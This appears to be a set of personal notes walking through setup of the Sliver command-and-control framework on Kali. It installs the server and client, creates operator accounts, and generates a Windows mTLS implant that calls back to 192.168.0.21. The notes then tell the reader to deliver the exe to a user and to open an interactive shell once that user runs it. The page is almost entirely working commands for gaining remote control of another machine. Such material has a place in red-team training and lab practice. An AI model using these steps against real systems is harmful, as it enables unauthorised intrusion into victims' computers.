Sliver C2
Last updated
Last updated
Download the server application
$ wget https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-server_linux.zip
^ Whichever is the new release
2. Unzip the file
$ unzip sliver-server_linux.zip
3. Install the required Libraries
$ sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
4. Run the application
$ sudo ./sliver-server
5. Now we need to create a session for a player to connect, and then play the player database
$ new-player --operator brinkles --lhost 192.168.0.21
$ players
6. The file .cfg created will need to be installed in the clients host, so save it for later! Lets start the Multiplayer mode.
$ multiplayer
Download the client application
$ wget https://github.com/BishopFox/sliver/releases/download/v1.0.6-beta/sliver-client_linux.zip
Unzip the application
$ unzip sliver-client_linux.zip
Install the required libraries
$ sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
Try to run the application
$ sudo ./sliver-client
This is where you will need to copy that .cfg file. Copy the file into /home/kali/,sliver-client/configs
Try to run the application again
$ sudo ./sliver-client
We are logged into that player!
$ help
Display players database:
$ players
To create new players accounts, this can only be run from the sliver server not the client
$ new-player --operator <username> --lhost <DNS or IP of the server>
Display the Sliver version
$ version
We need to Generate an Implant (mtls, http, dns), this will generate a file saved at the location specified generate Generate a sliver binary. Lets do MTLS.
$ generate --mtls 192.168.0.21 --save ./file.exe --os Windows
Now, we can start the listener. Types of listeners can be http, https, dns, and mtls
$ mtls
$ jobs
Lets deliver the generated mtls exe and send to the user. Once the user executes teh payload, you will see this on your screen...
Lets show all active sessions
$ sessions -h
$ sessions
To kill the session, run...
$ session -k 1
To interact with the session, do...
$ sessions
$ session -i 7
Running help you can see all the available commands to run
Lets run some commands to test what you can do.
$ whoami
$ info
$ shell